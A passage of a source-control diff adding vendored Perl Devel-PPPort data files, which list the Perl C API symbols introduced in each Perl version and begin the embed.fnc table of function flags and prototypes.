+_is_utf8_perl_idcont           # U
+isALPHANUMERIC                 # U
+isIDCONT                       # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.017009
+av_tindex                      # U
+av_top_index                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017010

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5018000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5018000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5018000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.018000
+hv_rand_set                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5018001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5018001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5018001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5018002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5018002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5018002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5018003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5018003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5018003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5018004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5018004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5018004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.019001
+re_intuit_start                # A
+toFOLD                         # U
+toFOLD_utf8                    # U
+toLOWER_L1                     # U
+toTITLE                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019002
+SVt_INVLIST                    # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.019003
+croak_memory_wrap              # U (Perl_croak_memory_wrap)
+sv_pos_b2u_flags               # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.019004
+append_utf8_from_native_byte   # U
+is_safe_syscall                # U
+uvoffuni_to_utf8_flags         # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019006

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019007
+OP_TYPE_IS                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019008

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.019009
+_to_utf8_fold_flags            # A
+_to_utf8_lower_flags           # A
+_to_utf8_title_flags           # A
+_to_utf8_upper_flags           # A

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019010
+OP_TYPE_IS_OR_WAS              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5019011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5019011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5019011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5020000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5020000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5020000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5020001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5020001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5020001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5020002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5020002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5020002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5020003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5020003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5020003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.021000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,13 @@
+5.021001
+_is_in_locale_category         # U
+_is_utf8_char_slow             # U
+_is_utf8_idcont                # U
+_is_utf8_idstart               # U
+_is_utf8_xidcont               # U
+_is_utf8_xidstart              # U
+isALNUM_lazy                   # U
+isIDFIRST_lazy                 # U
+isUTF8_CHAR                    # U
+markstack_grow                 # E (Perl_markstack_grow)
+my_strerror                    # U
+PERL_UNUSED_RESULT             # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.021002
+grok_number_flags              # U
+op_sibling_splice              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.021004
+cv_set_call_checker_flags      # U
+grok_infnan                    # U
+isinfnan                       # U
+sync_locale                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.021005
+cv_name                        # A
+newMETHOP                      # U
+newMETHOP_named                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.021006
+newDEFSVOP                     # U
+op_convert_list                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,11 @@
+5.021007
+OpHAS_SIBLING                  # U
+OpSIBLING                      # U
+PadnameUTF8                    # E
+is_invariant_string            # U
+newPADNAMELIST                 # U
+newPADNAMEouter                # U
+newPADNAMEpvn                  # U
+newUNOP_AUX                    # E
+padnamelist_fetch              # U
+padnamelist_store              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.021008
+sv_get_backrefs                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.021009

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.021010
+DECLARATION_FOR_LC_NUMERIC_MANIPULATION # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5021011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5021011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5021011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.021011
+OpLASTSIB_set                  # U
+OpMAYBESIB_set                 # U
+OpMORESIB_set                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5022000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5022000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5022000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.022000
+UVCHR_SKIP                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5022001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5022001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5022001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.022001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023006

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023007

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+5.023008
+clear_defarray                 # U
+cx_popblock                    # U
+cx_popeval                     # U
+cx_popformat                   # U
+cx_popgiven                    # U
+cx_poploop                     # U
+cx_popsub                      # U
+cx_popsub_args                 # U
+cx_popsub_common               # U
+cx_popwhen                     # U
+cx_pushblock                   # U
+cx_pusheval                    # U
+cx_pushformat                  # U
+cx_pushgiven                   # U
+cx_pushloop_for                # U
+cx_pushloop_plain              # U
+cx_pushsub                     # U
+cx_pushwhen                    # U
+cx_topblock                    # U
+leave_adjust_stacks            # U
+savetmps                       # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5023009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5023009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5023009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.023009
+toFOLD_uvchr                   # U
+toLOWER_uvchr                  # U
+toTITLE_uvchr                  # U
+toUPPER_uvchr                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5024000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5024000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5024000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,68 @@
+5.024000
+BhkDISABLE                     # E
+BhkENABLE                      # E
+BhkENTRY_set                   # E
+MULTICALL                      # E
+PERL_SYS_TERM                  # E
+POP_MULTICALL                  # E
+PUSH_MULTICALL                 # E
+PadARRAY                       # E
+PadMAX                         # E
+PadlistARRAY                   # E
+PadlistMAX                     # E
+PadlistNAMES                   # E
+PadlistNAMESARRAY              # E
+PadlistNAMESMAX                # E
+PadnameLEN                     # E
+PadnamePV                      # E
+PadnameREFCNT                  # E
+PadnameREFCNT_dec              # E
+PadnameSV                      # E
+PadnamelistARRAY               # E
+PadnamelistMAX                 # E
+PadnamelistREFCNT              # E
+PadnamelistREFCNT_dec          # E
+RESTORE_LC_NUMERIC             # E
+STORE_LC_NUMERIC_FORCE_TO_UNDERLYING # E
+STORE_LC_NUMERIC_SET_TO_NEEDED # E
+XS_APIVERSION_BOOTCHECK        # E
+XS_EXTERNAL                    # E
+XS_INTERNAL                    # E
+XS_VERSION_BOOTCHECK           # E
+XopDISABLE                     # E
+XopENABLE                      # E
+XopENTRY                       # E
+XopENTRYCUSTOM                 # E
+XopENTRY_set                   # E
+cophh_new_empty                # E
+my_lstat                       # U (Perl_my_lstat)
+my_stat                        # U (Perl_my_stat)
+reentrant_free                 # U
+reentrant_init                 # U
+reentrant_retry                # U
+reentrant_size                 # U
+ref                            # U (Perl_ref)
+sv_magic_portable              # U
+sv_setref_pvs                  # A
+PERL_BCDVERSION                # added by devel/scanprov
+PERL_MAGIC_glob                # added by devel/scanprov
+PERL_MAGIC_mutex               # added by devel/scanprov
+PERL_MAGIC_overload            # added by devel/scanprov
+PERL_MAGIC_overload_elem       # added by devel/scanprov
+PL_bufend                      # added by devel/scanprov
+PL_bufptr                      # added by devel/scanprov
+PL_copline                     # added by devel/scanprov
+PL_error_count                 # added by devel/scanprov
+PL_expect                      # added by devel/scanprov
+PL_in_my                       # added by devel/scanprov
+PL_in_my_stash                 # added by devel/scanprov
+PL_lex_state                   # added by devel/scanprov
+PL_lex_stuff                   # added by devel/scanprov
+PL_linestr                     # added by devel/scanprov
+PL_rsfp                        # added by devel/scanprov
+PL_rsfp_filters                # added by devel/scanprov
+PL_tokenbuf                    # added by devel/scanprov
+WARN_ASSERTIONS                # added by devel/scanprov
+aTHXR                          # added by devel/scanprov
+aTHXR_                         # added by devel/scanprov
+dTHXR                          # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/embed.fnc
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/embed.fnc	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/embed.fnc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2956 @@
+: BEGIN{die "You meant to run regen/embed.pl"} # Stop early if fed to perl.
+:
+: This file is processed by regen/embed.pl and autodoc.pl
+:
+: Lines are of the form:
+:    flags|return_type|function_name|arg1|arg2|...|argN
+:
+: A line may be continued on another by ending it with a backslash.
+: Leading and trailing whitespace will be ignored in each component.
+:
+: flags are single letters with following meanings:
+:
+:   A  Available fully everywhere (usually part of the public API):
+:
+:         add entry to the list of exported symbols (unless x or m);
+:         any doc entry goes in perlapi.pod rather than perlintern.pod.  If no
+:	     documentation is furnished for this function, and M is also
+:	     specified, the function is not listed as part of the public API.
+:	     If M isn't specified, and no documentation is furnished, the
+:	     function is listed in perlapi as existing and being undocumented
+:         makes '#define foo Perl_foo' scope not just for PERL_CORE/PERL_EXT
+:
+:      If the function is only exported for use in a public
+:      macro, see X.
+:
+:   a  Allocates memory a la malloc/calloc.  Also implies "R":
+:
+:         proto.h: add __attribute__malloc__
+:
+:   b  Binary backward compatibility; has an exported Perl_ implementation
+:      but function is also normally a macro (i.e. has the "m" flag as well).
+:      Backcompat functions ("b") can be anywhere, but if they are also
+:      macros ("m") then they have no proto.h entries so must either be in
+:      mathoms.c to get marked EXTERN_C (and skipped for -DNO_MATHOMS builds)
+:      or else will require special attention to ensure they are marked
+:      EXTERN_C (and then won't be automatically skipped for -DNO_MATHOMS
+:      builds).
+:
+:         add entry to the list of exported symbols;
+:         don't define PERL_ARGS_ASSERT_FOO
+:
+:   D  Function is deprecated:
+:
+:         proto.h: add __attribute__deprecated__
+:
+:   d  Function has documentation (somewhere) in the source:
+:
+:         enables 'no docs for foo" warning in autodoc.pl
+:
+:   E  Visible to extensions included in the Perl core:
+:
+:         in embed.h, change "#ifdef PERL_CORE"
+:         into               "#if defined(PERL_CORE) || defined(PERL_EXT)"
+:
+:      To be usable from dynamically loaded extensions, either:
+:	  1) must be static to its containing file ("i" or "s" flag); or
+:         2) be combined with the "X" flag.
+:
+:   f  Function takes a format string. If the function name /strftime/
+:      then its assumed to take a strftime-style format string as 1st arg;
+:      otherwise it's assumed to be a printf style format string, varargs
+:      (hence any entry that would otherwise go in embed.h is suppressed):
+:
+:         proto.h: add __attribute__format__ (or ...null_ok__)
+:
+:   i  Static inline: function in source code has a S_ prefix:
+:
+:         proto.h: function is declared as S_foo rather than foo,
+:                PERL_STATIC_INLINE is added to declaration;
+:         embed.h: "#define foo S_foo" entries added
+:
+:   M  May change:
+:
+:         any doc entry is marked that function may change.  Also used to
+:	  suppress making a doc entry if it would just be a placeholder.
+:
+:   m  Implemented as a macro:
+:
+:         suppress proto.h entry (actually, not suppressed, but commented out)
+:         suppress entry in the list of exported symbols
+:         suppress embed.h entry
+:
+:   n  Has no implicit interpreter/thread context argument:
+:
+:         suppress the pTHX part of "foo(pTHX...)" in proto.h;
+:         In the PERL_IMPLICIT_SYS branch of embed.h, generates
+:             "#define foo Perl_foo",      rather than
+:             "#define foo(a,b,c) Perl_foo(aTHX_ a,b,c)
+:
+:   O  Has a perl_ compatibility macro.
+:
+:      The really OLD name for API funcs
+:
+:   o  Has no Perl_foo or S_foo compatibility macro:
+:
+:         embed.h: suppress "#define foo Perl_foo"
+:
+:   P  Pure function: no effects except the return value;
+:      return value depends only on params and/or globals:
+:
+:         proto.h: add __attribute__pure__
+:
+:   p  Function in source code has a Perl_ prefix:
+:
+:         proto.h: function is declared as Perl_foo rather than foo
+:         embed.h: "#define foo Perl_foo" entries added
+:
+:   R  Return value must not be ignored (also implied by 'a' flag):
+:
+:        proto.h: add __attribute__warn_unused_result__
+:
+:   r  Function never returns:
+:
+:        proto.h: add __attribute__noreturn__
+:
+:   s  Static function: function in source code has a S_ prefix:
+:
+:         proto.h: function is declared as S_foo rather than foo,
+:                STATIC is added to declaration;
+:         embed.h: "#define foo S_foo" entries added
+:
+:   U  Suppress usage example in autogenerated documentation
+:
+:         (currently no effect)
+:
+:   X  Explicitly exported:
+:
+:         add entry to the list of exported symbols, unless x or m
+:
+:      This is often used for private functions that are used by public
+:      macros.  In those cases the macros must use the long form of the
+:      name (Perl_blah(aTHX_ ...)).
+:
+:   x  Not exported
+:
+:         suppress entry in the list of exported symbols
+:
+: (see also L<perlguts/Internal Functions> for those flags.)
+:
+: Pointer parameters that must not be passed NULLs should be prefixed with NN.
+:
+: Pointer parameters that may be NULL should be prefixed with NULLOK.  This has
+: no effect on output yet.  It's a notation for the maintainers to know "I have
+: defined whether NULL is OK or not" rather than having neither NULL or NULLOK,
+: which is ambiguous.
+:
+: Individual flags may be separated by whitespace.
+
+#if defined(PERL_IMPLICIT_SYS)
+Ano	|PerlInterpreter*|perl_alloc_using \
+				|NN struct IPerlMem *ipM \
+				|NN struct IPerlMem *ipMS \
+				|NN struct IPerlMem *ipMP \
+				|NN struct IPerlEnv *ipE \
+				|NN struct IPerlStdIO *ipStd \
+				|NN struct IPerlLIO *ipLIO \
+				|NN struct IPerlDir *ipD \
+				|NN struct IPerlSock *ipS \
+				|NN struct IPerlProc *ipP
+#endif
+Anod	|PerlInterpreter*	|perl_alloc
+Anod	|void	|perl_construct	|NN PerlInterpreter *my_perl
+Anod	|int	|perl_destruct	|NN PerlInterpreter *my_perl
+Anod	|void	|perl_free	|NN PerlInterpreter *my_perl
+Anod	|int	|perl_run	|NN PerlInterpreter *my_perl
+Anod	|int	|perl_parse	|NN PerlInterpreter *my_perl|XSINIT_t xsinit \
+				|int argc|NULLOK char** argv|NULLOK char** env
+AnpR	|bool	|doing_taint	|int argc|NULLOK char** argv|NULLOK char** env
+#if defined(USE_ITHREADS)
+Anod	|PerlInterpreter*|perl_clone|NN PerlInterpreter *proto_perl|UV flags
+#  if defined(PERL_IMPLICIT_SYS)
+Ano	|PerlInterpreter*|perl_clone_using \
+				|NN PerlInterpreter *proto_perl \
+				|UV flags \
+				|NN struct IPerlMem* ipM \
+				|NN struct IPerlMem* ipMS \
+				|NN struct IPerlMem* ipMP \
+				|NN struct IPerlEnv* ipE \
+				|NN struct IPerlStdIO* ipStd \
+				|NN struct IPerlLIO* ipLIO \
+				|NN struct IPerlDir* ipD \
+				|NN struct IPerlSock* ipS \
+				|NN struct IPerlProc* ipP
+#  endif
+#endif
+
+Aanop	|Malloc_t|malloc	|MEM_SIZE nbytes
+Aanop	|Malloc_t|calloc	|MEM_SIZE elements|MEM_SIZE size
+Aanop	|Malloc_t|realloc	|Malloc_t where|MEM_SIZE nbytes
+Anop	|Free_t	|mfree		|Malloc_t where
+#if defined(MYMALLOC)
+npR	|MEM_SIZE|malloced_size	|NN void *p
+npR	|MEM_SIZE|malloc_good_size	|size_t nbytes
+#endif
+#if defined(PERL_IN_MALLOC_C)
+sn	|int	|adjust_size_and_find_bucket	|NN size_t *nbytes_p
+#endif
+
+AnpR	|void*	|get_context
+Anp	|void	|set_context	|NN void *t
+
+XEop	|bool	|try_amagic_bin	|int method|int flags
+XEop	|bool	|try_amagic_un	|int method|int flags
+Ap	|SV*	|amagic_call	|NN SV* left|NN SV* right|int method|int dir
+Ap	|SV *	|amagic_deref_call|NN SV *ref|int method
+p	|bool	|amagic_is_enabled|int method
+Ap	|int	|Gv_AMupdate	|NN HV* stash|bool destructing
+ApR	|CV*	|gv_handler	|NULLOK HV* stash|I32 id
+Apd	|OP*	|op_append_elem	|I32 optype|NULLOK OP* first|NULLOK OP* last
+Apd	|OP*	|op_append_list	|I32 optype|NULLOK OP* first|NULLOK OP* last
+Apd	|OP*	|op_linklist	|NN OP *o
+Apd	|OP*	|op_prepend_elem|I32 optype|NULLOK OP* first|NULLOK OP* last
+: FIXME - this is only called by pp_chown. They should be merged.
+p	|I32	|apply		|I32 type|NN SV** mark|NN SV** sp
+ApM	|void	|apply_attrs_string|NN const char *stashpv|NN CV *cv|NN const char *attrstr|STRLEN len
+Apd	|void	|av_clear	|NN AV *av
+Apd	|SV*	|av_delete	|NN AV *av|SSize_t key|I32 flags
+ApdR	|bool	|av_exists	|NN AV *av|SSize_t key
+Apd	|void	|av_extend	|NN AV *av|SSize_t key
+p	|void	|av_extend_guts	|NULLOK AV *av|SSize_t key \
+				|NN SSize_t *maxp \
+				|NN SV ***allocp|NN SV ***arrayp
+ApdR	|SV**	|av_fetch	|NN AV *av|SSize_t key|I32 lval
+Apd	|void	|av_fill	|NN AV *av|SSize_t fill
+ApdR	|SSize_t|av_len		|NN AV *av
+ApdR	|AV*	|av_make	|SSize_t size|NN SV **strp
+Apd	|SV*	|av_pop		|NN AV *av
+ApdoxM	|void	|av_create_and_push|NN AV **const avp|NN SV *const val
+Apd	|void	|av_push	|NN AV *av|NN SV *val
+: Used in scope.c, and by Data::Alias
+EXp	|void	|av_reify	|NN AV *av
+ApdR	|SV*	|av_shift	|NN AV *av
+Apd	|SV**	|av_store	|NN AV *av|SSize_t key|NULLOK SV *val
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AidR	|SSize_t|av_top_index	|NN AV *av
+#endif
+AmpdR	|SSize_t|av_tindex	|NN AV *av
+Apd	|void	|av_undef	|NN AV *av
+ApdoxM	|SV**	|av_create_and_unshift_one|NN AV **const avp|NN SV *const val
+Apd	|void	|av_unshift	|NN AV *av|SSize_t num
+Apo	|SV**	|av_arylen_p	|NN AV *av
